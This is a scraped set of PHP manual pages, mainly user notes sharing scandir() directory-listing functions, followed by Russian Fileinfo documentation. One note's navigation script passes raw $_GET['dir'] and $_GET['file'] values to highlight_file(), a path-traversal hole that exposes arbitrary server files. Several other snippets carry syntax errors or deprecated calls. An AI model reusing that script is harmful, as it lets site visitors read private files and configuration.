                if(!self::$ext_filter || in_array(strtolower(pathinfo($dir.DIRECTORY_SEPARATOR.$value, PATHINFO_EXTENSION)), self::$ext_filter)){
                    self::$files[] = $result[] = $dir.DIRECTORY_SEPARATOR.$value;
                }
                continue;
            }
            if(self::$recursive){
                foreach(self::find_contents($dir.DIRECTORY_SEPARATOR.$value) as $value) {
                    self::$files[] = $result[] = $value;
                }
            }
        }
        // Return required for recursive search
        return $result;
    }
}
?>

Usage:
scanDir::scan(path(s):string|array, [file_extensions:string|array], [subfolders?:true|false]);
<?php
//Scan a single directory for all files, no sub-directories
$files = scanDir::scan('D:\Websites\temp');

//Scan multiple directories for all files, no sub-dirs
$dirs = array(
    'D:\folder';
    'D:\folder2';
    'C:\Other';
);
$files = scanDir::scan($dirs);

// Scan multiple directories for files with provided file extension,
// no sub-dirs
$files = scanDir::scan($dirs, "jpg");
//or with an array of extensions
$file_ext = array(
    "jpg",
    "bmp",
    "png"
);
$files = scanDir::scan($dirs, $file_ext);

// Scan multiple directories for files with any extension,
// include files in recursive sub-folders
$files = scanDir::scan($dirs, false, true);

// Multiple dirs, with specified extensions, include sub-dir files
$files = scanDir::scan($dirs, $file_ext, true);
?>
Patrick 12-Jan-2014 09:10
Here is my recursive function, placing directories into new array keys and its contents within.

/* find_files( string, &array )
** Recursive function to return a multidimensional array of folders and files
** that are contained within the directory given
*/
function find_files($dir, &$dir_array)
{
    // Create array of current directory
    $files = scandir($dir);

    if(is_array($files))
    {
        foreach($files as $val)
        {
            // Skip home and previous listings
            if($val == '.' || $val == '..')
                continue;

            // If directory then dive deeper, else add file to directory key
            if(is_dir($dir.'/'.$val))
            {
                // Add value to current array, dir or file
                $dir_array[$dir][] = $val;

                find_files($dir.'/'.$val, $dir_array);
            }
            else
            {
                $dir_array[$dir][] = $val;
            }
        }
    }
    ksort($dir_array);
}

// Example
$folder_list = array();
find_files('/path', $folder_list)

var_dump($folder_list);

array(3) {
  ["directory_01"]=>
  array(4) {
    [0]=>
    string(12) "directory_02"
    [1]=>
    string(12) "directory_03"
    [2]=>
    string(11) "file_01.txt"
    [3]=>
    string(11) "file_02.txt"
  }
  ["directory_01/directory_02"]=>
  array(2) {
    [0]=>
    string(11) "file_03.txt"
    [1]=>
    string(11) "file_04.txt"
  }
  ["directory_01/directory_03"]=>
  array(2) {
    [0]=>
    string(11) "file_05.txt"
    [1]=>
    string(11) "file_06.txt"
  }
}
hex at mail dot nnov dot ru 07-Sep-2013 07:38
// Extreme minimal version recursive scan:
function rscandir($dir){
  $dirs = array_fill_keys( array_diff( scandir( $dir ), array( '.', '..' ) ), array());
  foreach( $dirs as $d => $v )
    if( is_dir($dir."/".$d) )
      $dirs[$d] = rscandir($dir."/".$d);
  return $dirs;
}
mmda dot nl at gmail dot com 08-Nov-2012 12:43
Here is my 2 cents. I wanted to create an array of my directory structure recursively. I wanted to easely access data in a certain directory using foreach. I came up with the following:

<?php
function dirToArray($dir) {

   $result = array();

   $cdir = scandir($dir);
   foreach ($cdir as $key => $value)
   {
      if (!in_array($value,array(".","..")))
      {
         if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
         {
            $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
         }
         else
         {
            $result[] = $value;
         }
      }
   }

   return $result;
}
?>

Output
Array
(
   [subdir1] => Array
   (
      [0] => file1.txt
      [subsubdir] => Array
      (
         [0] => file2.txt
         [1] => file3.txt
      )
   )
   [subdir2] => Array
   (
    [0] => file4.txt
   }
)
carneiro at isharelife dot com dot br 22-Jun-2012 06:47
<?php
/**
     * Get an array that represents directory tree
     * @param string $directory     Directory path
     * @param bool $recursive         Include sub directories
     * @param bool $listDirs         Include directories on listing
     * @param bool $listFiles         Include files on listing
     * @param regex $exclude         Exclude paths that matches this regex
     */
    function directoryToArray($directory, $recursive = true, $listDirs = false, $listFiles = true, $exclude = '') {
        $arrayItems = array();
        $skipByExclude = false;
        $handle = opendir($directory);
        if ($handle) {
            while (false !== ($file = readdir($handle))) {
            preg_match("/(^(([\.]){1,2})$|(\.(svn|git|md))|(Thumbs\.db|\.DS_STORE))$/iu", $file, $skip);
            if($exclude){
                preg_match($exclude, $file, $skipByExclude);
            }
            if (!$skip && !$skipByExclude) {
                if (is_dir($directory. DIRECTORY_SEPARATOR . $file)) {
                    if($recursive) {
                        $arrayItems = array_merge($arrayItems, directoryToArray($directory. DIRECTORY_SEPARATOR . $file, $recursive, $listDirs, $listFiles, $exclude));
                    }
                    if($listDirs){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                } else {
                    if($listFiles){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                }
            }
        }
        closedir($handle);
        }
        return $arrayItems;
    }
?>
2bbasic at gmail dot com 21-Jun-2012 11:35
<?php
//-- Directory Navigation with SCANDIR
//--
//-- optional placemenet
$exclude_list = array(".", "..", "example.txt");
if (isset($_GET["dir"])) {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"];
}
else {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/";
}
//-- until here
function dir_nav() {
  global $exclude_list, $dir_path;
  $directories = array_diff(scandir($dir_path), $exclude_list);
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_dir($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[`] <a href='?dir=".$_GET["dir"].$entry."/"."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
  //-- separator
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_file($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[ ] <a href='?file=".$_GET["dir"].$entry."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
}
dir_nav();
//-- optional placement
if (isset($_GET["file"])) {
  echo "<div style='margin:1em;border:1px solid Silver;'>";
  highlight_file($dir_path.$_GET['file']);
  echo "</div>";
}
//-- until here
//--
//-- Because I love php.net
?>
fazle dot elahee at gmail dot com 09-Apr-2012 06:52
/**
 * This function will scan all files recursively in the sub-folder and folder.
 *
 * @author Fazle Elahee
 *
 */

function scanFileNameRecursivly($path = '', &$name = array() )
{
  $path = $path == ''? dirname(__FILE__) : $path;
  $lists = @scandir($path);

  if(!empty($lists))
  {
      foreach($lists as $f)
      {

      if(is_dir($path.DIRECTORY_SEPARATOR.$f) && $f != ".." && $f != ".")
      {
          scanFileNameRecursivly($path.DIRECTORY_SEPARATOR.$f, &$name);
      }
      else
      {
          $name[] = $path.DIRECTORY_SEPARATOR.$f;
      }
      }
  }
  return $name;
}

$path = "/var/www/SimplejQueryDropdowns";
$file_names = scanFileNameRecursivly($path);

echo "<pre>";
var_dump($file_names);
echo "</pre>";
dwieeb at gmail dot com 22-Jan-2012 08:06
Easy way to get rid of the dots that scandir() picks up in Linux environments:

<?php
$directory = '/path/to/my/directory';
$scanned_directory = array_diff(scandir($directory), array('..', '.'));
?>
kodlee at kodleeshare dot net 08-Jan-2012 03:51
I needed to find a way to get the full path of all files in the directory and all subdirectories of a directory.
Here's my solution: Recursive functions!

<?php
function find_all_files($dir)
{
    $root = scandir($dir);
    foreach($root as $value)
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}
?>
boen dot robot at gmail dot com 20-Feb-2010 10:10
If you have a folder with many files and/or subfolders, doing a recursive scandir will likely either slow down your application, or cause a high rise in RAM consumption due to the large size of the generated array.

To help with this, as well as to make processing of files in a folder easier, I wrote a function that reads a folder and its subfolders recursively, and calls a function upon each match.

<?php
/**
 * Calls a function for every file in a folder.
 *
 * @author Vasil Rangelov a.k.a. boen_robot
 *
 * @param string $callback The function to call. It must accept one argument that is a relative filepath of the file.
 * @param string $dir The directory to traverse.
 * @param array $types The file types to call the function for. Leave as NULL to match all types.
 * @param bool $recursive Whether to list subfolders as well.
 * @param string $baseDir String to append at the beginning of every filepath that the callback will receive.
 */
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
?>

Of course, because it is recursive, a folder with many levels of folders could potentially consume lots of memory, but then again, so can every other recursive scandir implementation here.

BTW, there's also the RecursiveDirectoryIterator SPL class:
http://bg.php.net/manual/en/class.recursivedirectoryiterator.php
which, even if using the same approach, will most likely be faster and hold down deeper levels (because it works on the C level), but this one will always work, regardless of settings... even on PHP4.

Point is, avoid recursive scandir implementations.
moik78 at gmail dot com 28-Jan-2010 05:43
This is a function to count the number of files of a directory

<?php
function countFiles($dir){
    $files = array();
    $directory = opendir($dir);
    while($item = readdir($directory)){
    // We filter the elements that we don't want to appear ".", ".." and ".svn"
         if(($item != ".") && ($item != "..") && ($item != ".svn") ){
              $files[] = $item;
         }
    }
    $numFiles = count($files);
    return $numFiles;
}
?>
phpnet at novaclic dot com 11-Jan-2010 02:36
Was looking for a simple way to search for a file/directory using a mask. Here is such a function.

By default, this function will keep in memory the scandir() result, to avoid scaning multiple time for the same directory.

Requires at least PHP5.

<?php
function sdir( $path='.', $mask='*', $nocache=0 ){
    static $dir = array(); // cache result in memory
    if ( !isset($dir[$path]) || $nocache) {
        $dir[$path] = scandir($path);
    }
    foreach ($dir[$path] as $i=>$entry) {
        if ($entry!='.' && $entry!='..' && fnmatch($mask, $entry) ) {
            $sdir[] = $entry;
        }
    }
    return ($sdir);
}
?>
magicmind at netcabo dot pt 09-Jun-2009 05:20
Hello all,

I just added a extension filter to the getDirectoryTree function, so it can filter an extension for files in the folders/subfolders:

<?php
function getDirectoryTree( $outerDir , $x){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d)  ){
            $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d , $x);
        }else{
         if (($x)?ereg($x.'$',$d):1)
            $dir_array[ $d ] = $d;
            }
    }
    return $dir_array;
}

$dirlist = getDirectoryTree('filmes','flv');
?>
phpdotnet at lavavortex dot com 01-May-2009 05:05
How a ninja may retrieve a list of files, files filtered by extension, or directories:

<?php
//NNNIIIinnnjaaa::
//array of files without directories... optionally filtered by extension
function file_list($d,$x){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_file($d.'/'.$f)&&(($x)?ereg($x.'$',$f):1))$l[]=$f;
       return $l;
}

//NNNIIIinnnjaaa::
//array of directories
function dir_list($d){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_dir($d.'/'.$f))$l[]=$f;
       return $l;
}

/********************************************************************\
                    PRETTY PRETTY LIGHTS (DOCUMENTATION)
\********************************************************************/

/********************************************************************
Overloaded PHP file listing function:
array file_list ( string $directory [, string $file_extension] )

$directory
  path without backslash, e.g. "/home/public_html/blarg"

$file_extention
  optionally filter specific filename extentions, e.g. ".jpg"

>>>>>>>>>>>>>>>>>>>>>>>>>>>>> TRANSLATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<
file_list("/home");          //return list of files (no directories)
file_list("/home", ".jpg");  //return only .jpg file list
\********************************************************************/

//(note: one slash (/) below and you enable all your test functions, guess where ;-))
/********************************************************************\
// TEST FUNCTIONS... IF THESE WORK, THIS FUNCTION WORKS ON THIS PLATFORM
echo "<hr><b>File List:</b><br>";
$n = file_list(getcwd());
if($n) foreach($n as $f) echo "$f<br>";             //current files

echo "<hr><b>Files with extension .php:</b><br>";
$n = file_list(getcwd(),".php");
if($n) foreach($n as $f) echo "$f<br>";             //files with .php extensions

echo "<hr><b>Directories:</b><br>";
$d = dir_list(getcwd());
if($d) foreach($d as $f) echo "$f<br>";             //directories
/********************************************************************/

/************\
RUNTIME NOTES:
file_list($arg1); // php issues a warning that there is no second parameter, but we know that, izz ok
\************/

/*******************************\
TESTED AND WORKING ON 2009.04.30:
OS:     Linux 2.6.9-78.0.17.ELsmp
APACHE: 2.2.9
PHP:    5.2.5
\*******************************/
?>
dsiembab at fullchannel dot net 08-Dec-2008 11:29
Back in the saddle of scandir I wrote this function for a function that I needed to seperate directories from files. Since I am still learning from my last example way below I would figure I would add it so it can be criticized.
<?php
function dirlist($dir, $bool = "dirs"){
   $truedir = $dir;
   $dir = scandir($dir);
   if($bool == "files"){ // dynamic function based on second pram
      $direct = 'is_dir';
   }elseif($bool == "dirs"){
      $direct = 'is_file';
   }
   foreach($dir as $k => $v){
      if(($direct($truedir.$dir[$k])) || $dir[$k] == '.' || $dir[$k] == '..' ){
         unset($dir[$k]);
      }
   }
   $dir = array_values($dir);
   return $dir;
}
?>
<?php
print_r(dirlist("../"));  //confirm array of subdirectories

print_r(dirlist("../", "files") // confirm list on files in the directory
?>
asamir at asamir dot net 05-Mar-2008 04:21
This is a modification of scanDirectories function that generates a list of all files in the chosen directory and all subdirectories of specific extentions $allowext

<?php
function scanDirectories($rootDir, $allowext, $allData=array()) {
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        $path = $rootDir.'/'.$content;
        $ext = substr($content, strrpos($content, '.') + 1);

        if(in_array($ext, $allowext)) {
            if(is_file($path) && is_readable($path)) {
                $allData[] = $path;
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}

$rootDir = "www";
$allowext = array("zip","rar","html");
$files_array = scanDirectories($rootDir,$allowext);
print_r($files_array);
?>
fatpratmatt dot at dot gmail dot com 27-Dec-2007 04:28
This function generates a list of all files in the chosen directory and all subdirectories, throws them into a NON-multidimentional array and returns them.

Most of the recursive functions on this page only return a multi-dimensional array.

This is actually a modification of some one else's function (thanks mail at bartrail dot de ;])

<?php
function scanDirectories($rootDir, $allData=array()) {
    // set filenames invisible if you want
    $invisibleFileNames = array(".", "..", ".htaccess", ".htpasswd");
    // run through content of root directory
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        // filter all files not accessible
        $path = $rootDir.'/'.$content;
        if(!in_array($content, $invisibleFileNames)) {
            // if content is file & readable, add to array
            if(is_file($path) && is_readable($path)) {
                // save file name with path
                $allData[] = $path;
            // if content is a directory and readable, add path and name
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}
?>

Example output:

print_r(scanDirectories("www"));
---
Array
(
    [0] => www/index.php
    [1] => www/admin.php
    [3] => www/css/css.css
    [4] => www/articles/2007/article1.txt
    [4] => www/articles/2006/article1.txt
    [8] => www/img/img1.png
)
cHH 05-Nov-2007 09:46
Since scandir() returns and array, here is a more concise method of dealing with the '.' and '..' problem when listing directories:

<?php
$target = '/';
$weeds = array('.', '..');
$directories = array_diff(scandir($target), $weeds);

foreach($directories as $value)
{
   if(is_dir($target.$value))
   {
      echo $value.'<br />';
   }
}
?>
beingmrkenny at gmail dot com 13-Aug-2006 11:41
I wrote this function to read a folder and place all the folders and sub folders it contains into an array.

<?php

// Initialise empty array, otherwise an error occurs
$folders = array();

function recursive_subfolders($folders) {

    // Set path here
    $path = '/path/to/folder';

    // Create initial "Folders" array
    if ($dir = opendir($path)) {
        $j = 0;
        while (($file = readdir($dir)) !== false) {
            if ($file != '.' && $file != '..' && is_dir($path.$file)) {
                $j++;
                $folders[$j] = $path . $file;
            }
        }
    }

    closedir($dir);

    // Then check each folder in that array for subfolders and add the subfolders to the "Folders" array.
    $j = count($folders);
    foreach ($folders as $folder) {
        if ($dir = opendir($folder)) {
            while (($file = readdir($dir)) !== false) {
                $pathto = $folder. '/' . $file;
                if ($file != '.' && $file != '..' && is_dir($pathto) && !in_array($pathto, $folders)) {
                    $j++;
                    $folders[$j] = $pathto;
                    $folders = recursive_subfolders($folders);
                }
            }
        }
        closedir($dir);
    }

    sort($folders);
    return $folders;
}

$folders = recursive_subfolders($folders);

?>

$folders now contains an array with the full paths to each subfolder. E.g.:

Array
(
    [0] => /path/to/folder/dir1
    [1] => /path/to/folder/dir1/subdir
    [2] => /path/to/folder/dir1/subdir/subsubdir
    [3] => /path/to/dolfer/dir2
)

This function has only been tested on Linux.
progrium+php at gmail dot com 30-Jun-2005 04:54
I made this to represent a directory tree in an array that uses the file or directory names as keys and full paths as the value for files. Directories are nested arrays.

<?php
function generatePathTree($rootPath) {
    $pathStack = array($rootPath);
    $contentsRoot = array();
    $contents = &$contentsRoot;
    while ($path = array_pop($pathStack)) {
       $contents[basename($path)] = array();
       $contents = &$contents[basename($path)];
       foreach (scandir($path) as $filename) {
           if ('.' != substr($filename, 0, 1)) {
               $newPath = $path.'/'.$filename;
               if (is_dir($newPath)) {
                   array_push($pathStack, $newPath);
                   $contents[basename($newPath)] = array();
               } else {
                   $contents[basename($filename)] = $newPath;
               }
           }
       }
    }
    return $contentsRoot[basename($rootPath)];
}
?>

The function will return something like this:

Array
(
    [index.php] => /usr/local/www/index.php
    [js] => Array
        (
            [async.js] => /usr/local/www/js/async.js
            [dom.js] => /usr/local/www/js/dom.js
            [effects.js] => /usr/local/www/js/effects.js
            [prototype.js] => /usr/local/www/js/prototype.js
        )

    [logo.png] => /usr/local/www/logo.png
    [server.php] => /usr/local/www/server.php
    [test.js] => /usr/local/www/test.js
)
Pawel Dlugosz 11-May-2005 11:18
For directory containing files like (for example) -.jpg the results of scandir are a little "weird" ;)

<?php

   $dir = '/somedir';
   $files = scandir($dir);
   print_r($files);
?>

Array
(
    [0] => -.jpg
    [1] => .
    [2] => ..
    [3] => foo.txt
    [4] => somedir
)

Beware - sorting is in ASCII order :)
wwwebdesigner at web doott de 12-Apr-2005 12:20
using sort of scandir() that returns the content sorted by Filemodificationtime.

<?php
function scandir_by_mtime($folder) {
  $dircontent = scandir($folder);
  $arr = array();
  foreach($dircontent as $filename) {
    if ($filename != '.' && $filename != '..') {
      if (filemtime($folder.$filename) === false) return false;
      $dat = date("YmdHis", filemtime($folder.$filename));
      $arr[$dat] = $filename;
    }
  }
  if (!ksort($arr)) return false;
  return $arr;
}
?>

returns false if an error occured
otherwise it returns an array like this.
Array
(
    [20040813231320] => DSC00023.JPG
    [20040813231456] => DSC00024.JPG
    [20040814003728] => MOV00055.MPG
    [20040814003804] => DSC00056.JPG
    [20040814003946] => DSC00057.JPG
    [20040814004030] => DSC00058.JPG
    [20040814014516] => DSC00083.JPG
    [20050401161718] => album.txt
)
csaba at alum dot mit dot edu 04-Mar-2005 03:19
Scandir on steroids:
For when you want to filter your file list, or only want to list so many levels of subdirectories...

<?php
function dirList($path="", $types=2, $levels=1, $aFilter=array()) {
//  returns an array of the specified files/directories
//  start search in $path (defaults to current working directory)
//  return $types:  2 => files; 1 => directories; 3 => both;
//  $levels: 1 => look in the $path only; 2 => $path and all children;
//          3 => $path, children, grandchildren; 0 => $path and all subdirectories;
//          less than 0 => complement of -$levels, OR everything starting -$levels down
//                e.g. -1 => everthing except $path; -2 => all descendants except $path + children
//  Remaining argument(s) is(are) a filter array(list) of regular expressions which operate on the full path.
//    First character (before the '/' of the regExp) '-' => NOT.
//    First character (after a possible '-') 'd' => apply to directory name
//    The filters may be passed in as an array of strings or as a list of strings
//  Note that output directories are prefixed with a '*' (done in the line above the return)
   $dS = DIRECTORY_SEPARATOR;
   if (!($path = realpath($path?$path:getcwd()))) return array();    // bad path
   // next line rids terminating \ on drives (works since c: == c:\ on PHP).  OK in *nix?
   if (substr($path,-1)==$dS) $path = substr($path,0,-1);
   if (is_null($types)) $types = 2;
   if (is_null($levels)) $levels = 1;
   if (is_null($aFilter)) $aFilter=array();

   // last argument may be passed as a list or as an array
   $aFilter = array_slice(func_get_args(),3);
   if ($aFilter && gettype($aFilter[0])=="array") $aFilter=$aFilter[0];
   $adFilter = array();
   // now move directory filters to separate array:
   foreach ($aFilter as $i=>$filter)                  // for each directory filter...
     if (($pos=stripos(" $filter","d")) && $pos<3) {  // next line eliminates the 'd'
         $adFilter[] = substr($filter,0,$pos-1) . substr($filter,$pos);
         unset($aFilter[$i]); }
   $aFilter = array_merge($aFilter);    // reset indeces

   $aRes = array();                    // results, $aAcc is an Accumulator
   $aDir = array($path);    // dirs to check
   for ($i=$levels>0?$levels++:-1;($aAcc=array())||$i--&&$aDir;$aDir=$aAcc)
     while ($dir = array_shift($aDir))
         foreach (scandir ($dir) as $fileOrDir)
           if ($fileOrDir!="." && $fileOrDir!="..") {
               if ($dirP = is_dir ($rp="$dir$dS$fileOrDir"))
                 if (pathFilter("$rp$dS", $adFilter))
                     $aAcc[] = $rp;
               if ($i<$levels-1 && ($types & (2-$dirP)))
                 if (pathFilter($rp, $aFilter))
                     $aRes[] = ($dirP?"*":"") . $rp; }
   return $aRes;
}
?>

example usage:
<?php
define ("_", NULL);
// this will find all non .jpg, non .Thumbs.db files under c:\Photo
$aFiles = dirList('c:\Photo', _, 0, '-/\.jpg$/i', '-/\\\\Thumbs.db$/');
$aFiles = dirList();    // find the files in the current directory
// next lines will find .jpg files in non Photo(s) subdirectories, excluding Temporary Internet Files
set_time_limit(60);        // iterating from the top level can take a while
$aFiles = dirList("c:\\", _, 0, '/\.jpg$/i', '-d/\\\\Photos?$/i', '-d/Temporary Internet/i');
?>

Note that this function will consume a lot of time if scanning large
directory structures (which is the reason for the '[-]d/.../' filters).

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 04-Mar-2005 04:52
A nice way to filter the files/directories you get back from scandir:

<?php
function pathFilter ($path, $aFilter) {
   // returns true iff $path survives the tests from $aFilter
   // $aFilter is an array of regular expressions: [-]/regExp/modifiers
   // if there is a leading '-' it means exclude $path upon a match (a NOT test)
   // If the first expression has a leading '-', $path is in, unless it gets excluded.
   // Otherwise, $path is out, unless it gets included via the filter tests.
   // The tests are applied in succession.
   // A NOT test is applied only if $path is currently (within the tests) included
   // Other tests are applied only if $path is currently excluded.  Thus,
   // array("/a/", "-/b/", "/c/") => passes if $path has a c or if $path has an a but no b
   // array("/a/", "/c/", "-/b/") => passes if $path has an a or c, but no b
   // array("-/b/", "/a/", "/c/") => passes if $path has no b, or if $path has an a or c
   if (!$aFilter) return true;           // automatic inclusion (pass) if no filters
   foreach ($aFilter as $filter) break;  // we don't know how it's indexed
   $in = $filter[0]=="-";                // initial in/exclusion based on first filter
   foreach ($aFilter as $filter)         // walk the filters
      if ($in==$not=($filter[0]=="-"))   //     testing only when necessary
         $in ^= preg_match(substr($filter,$not),$path);    // flip in/exclusion upon a match
   return $in;
}
?>

Csaba Gabor from Vienna
Stan P. van de Burgt 26-Oct-2004 09:05
scandir() with regexp matching on file name and sorting options based on stat().

<?php
function myscandir($dir, $exp, $how='name', $desc=0)
{
    $r = array();
    $dh = @opendir($dir);
    if ($dh) {
        while (($fname = readdir($dh)) !== false) {
            if (preg_match($exp, $fname)) {
                $stat = stat("$dir/$fname");
                $r[$fname] = ($how == 'name')? $fname: $stat[$how];
            }
        }
        closedir($dh);
        if ($desc) {
            arsort($r);
        }
        else {
            asort($r);
        }
    }
    return(array_keys($r));
}

$r = myscandir('./book/', '/^article[0-9]{4}\.txt$/i', 'ctime', 1);
print_r($r);
?>

files can be sorted on name and stat() attributes, ascending and descending:

name    file name
dev     device number
ino     inode number
mode    inode protection mode
nlink   number of links
uid     userid of owner
gid     groupid of owner
rdev    device type, if inode device *
size    size in bytes
atime   time of last access (Unix timestamp)
mtime   time of last modification (Unix timestamp)
ctime   time of last inode change (Unix timestamp)
blksize blocksize of filesystem IO *
blocks  number of blocks allocated


Информация о файле

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции модуля Fileinfo
    • finfo_buffer — Возвращает информацию о строке буфера
    • finfo_close — Закрывает экземпляр finfo
    • finfo_file — Возвращает информацию о файле
    • finfo_open — Создаёт экземпляр finfo
    • finfo_set_flags — Устанавливает параметры конфигурации libmagic
    • mime_content_type — Определяет MIME-тип содержимого файла
  • finfo — Класс finfo
    • finfo::buffer — Псевдоним finfo_buffer()
    • finfo::__construct — Псевдоним finfo_open
    • finfo::file — Псевдоним finfo_file()
    • finfo::set_flags — Псевдоним finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


Введение

Функции в этом модуле пытаются определить тип содержимого и кодировку файла, основываясь на некоторых магических последовательностях байт на определённых позициях в файле. Пока данный подход не является абсолютно надёжным, однако эвристика неплохо справляется со своей работой.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль включён по умолчанию.

Windows-пользователи должны подключить идущий в комплекте поставки php_fileinfo.dll DLL файл в php.ini для включения данного модуля.

Библиотека libmagic поставляется в комплекте с PHP, но может содержать специфичные для PHP изменения, которые можно добавлять с помощью патча libmagic.patch. Этот патч поддерживается в актуальном состоянии, его можно найти там же, где находятся файлы модуля fileinfo.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Данный модуль не определяет никакие директивы конфигурации в php.ini.

User Contributed Notes

thomandre at gmail dot com 30-May-2013 02:41
In the PHP 5.3.13 CLI version, it might use the "MAGIC" environnement variable to get the magic database file. Due to the fact that this version doesn't use the standard format, this file may be wrong. You can see it via a simple script :

<?php
    var_dump($_SERVER['MAGIC']);
?>

Unset this variable and it will work again. You can use unsetenv (C-Shell) or unset (Bourne Shell).

This does not affect the Apache version. Other CLI versions might be affected.

I lost a lot of time on this undocumented issue.
sam nospam at archives.org.au 23-Mar-2010 10:03
In addition to
 extension=fileinfo.so
I also had to add
 mime_magic.magicfile=/usr/share/file/magic
to my php configuration.  Then, I instantiate Finfo thus:

<?php
$mimeMagicFile = get_cfg_var('mime_magic.magicfile');
$finfo = new finfo(FILEINFO_MIME, $mimeMagicFile);
?>

(This is despite the rumours I hear about the default being exactly what I set it to anyway.)


Типы ресурсов

До PHP 8.1.0, модуль Fileinfo использует один ресурс: "магический" указатель базы данных, возвращаемый функцией finfo_open().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

FILEINFO_NONE (int)
Нет специальной обработки.
FILEINFO_SYMLINK (int)
Следовать по символическим ссылкам.
FILEINFO_MIME_TYPE (int)
Возвращать mime-тип.
FILEINFO_MIME_ENCODING (int)
Возвращать mime-кодировку файла.
FILEINFO_MIME (int)
Возвращать mime-тип и mime-кодировку по стандарту RFC 2045.
FILEINFO_COMPRESS (int)
Распаковывать запакованные файлы. Отключено по соображениям безопасности.
FILEINFO_DEVICES (int)
Смотреть содержимое блочных и символьных устройств.
FILEINFO_CONTINUE (int)
Возвращать все совпадения, а не только первое.
FILEINFO_PRESERVE_ATIME (int)
По возможности сохранять исходное время доступа.
FILEINFO_RAW (int)
Не переводить непечатные символы в \ooo восьмеричное представление.
FILEINFO_EXTENSION (int)
Возвращает расширение файла, соответствующее для MIME-типа этого файла. Для типов, которые имеют несколько расширений файлов, таких как JPEG-изображений, возвращаемое значение будет состоять из нескольких расширений, разделённых слешем, например "jpeg/jpg/jpe/jfif". Для неизвестных типов, недоступных в базе данных magic.mime, возвращаемое значение будет "???". Доступно с PHP 7.2.0.

User Contributed Notes

jerome at chaman dot ca 15-Nov-2013 08:45
proceed with caution
as the documentation already says

FILEINFO_MIME will output something like "image/jpeg; charset=binary"

while

FILEINFO_MIME_TYPE outputs  "image/jpeg"
and
FILEINFO_MIME_ENCODING outputs  "binary"


Функции модуля Fileinfo

Содержание

  • finfo_buffer — Возвращает информацию о строке буфера
  • finfo_close — Закрывает экземпляр finfo
  • finfo_file — Возвращает информацию о файле
  • finfo_open — Создаёт экземпляр finfo
  • finfo_set_flags — Устанавливает параметры конфигурации libmagic
  • mime_content_type — Определяет MIME-тип содержимого файла

User Contributed Notes

ccbsschucko at gmail dot com 14-Jun-2018 11:45
<?php
    class FileInfoTool {

        /**
        * @var str => $file = caminho para o arquivo (ABSOLUTO OU RELATIVO)
        * @var arr => $file_info = array contendo as informacoes obtidas do arquivo informado
        */
        private $file;
        private $file_info;

        /**
        * @param str => $file = caminho para o arquivo (ABSOLUTO OU RELATIVO)
        */
        public function get_file(string $file){
            clearstatcache();
            $file = str_replace(array('/', '\\'), array(DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR), $file);
            if(!is_file($file) && !is_executable($file) && !is_readable($file)){
                throw new \Exception('O arquivo informado nao foi encontrado!');
            }
            $this->file = $file;
            $this->set_file_info($this->file);
            return $this;
        }

        /**
        * @param str => $index = se for informado um indice e retornada uma informacao especifica do arquivo
        */
        public function get_info($index = ''){
            if($this->get_file_is_called()){
                if($index === ''){
                    return $this->file_info;
                }
                if($index != ''){
                    if(!array_key_exists($index, $this->file_info)){
                        throw new \Exception('A informacao requisitada nao foi encontrada!');
                    }
                    return $this->file_info;
                }
            }
        }

        /**
        * @todo verifica se o metodo get_file() foi utilizado para informar o caminho do arquivo
        */
        private function get_file_is_called(){
            if(!$this->file){
                throw new \Exception('Nenhum arquivo foi fornecido para analise. Utilize o metodo get_file() para isso!');
                return false;
            }
            return true;
        }

        /**
        * @todo preencher a array com as infos do arquivo
        */
        private function set_file_info(){
            $this->file_info = array();
            $pathinfo = pathinfo($this->file);
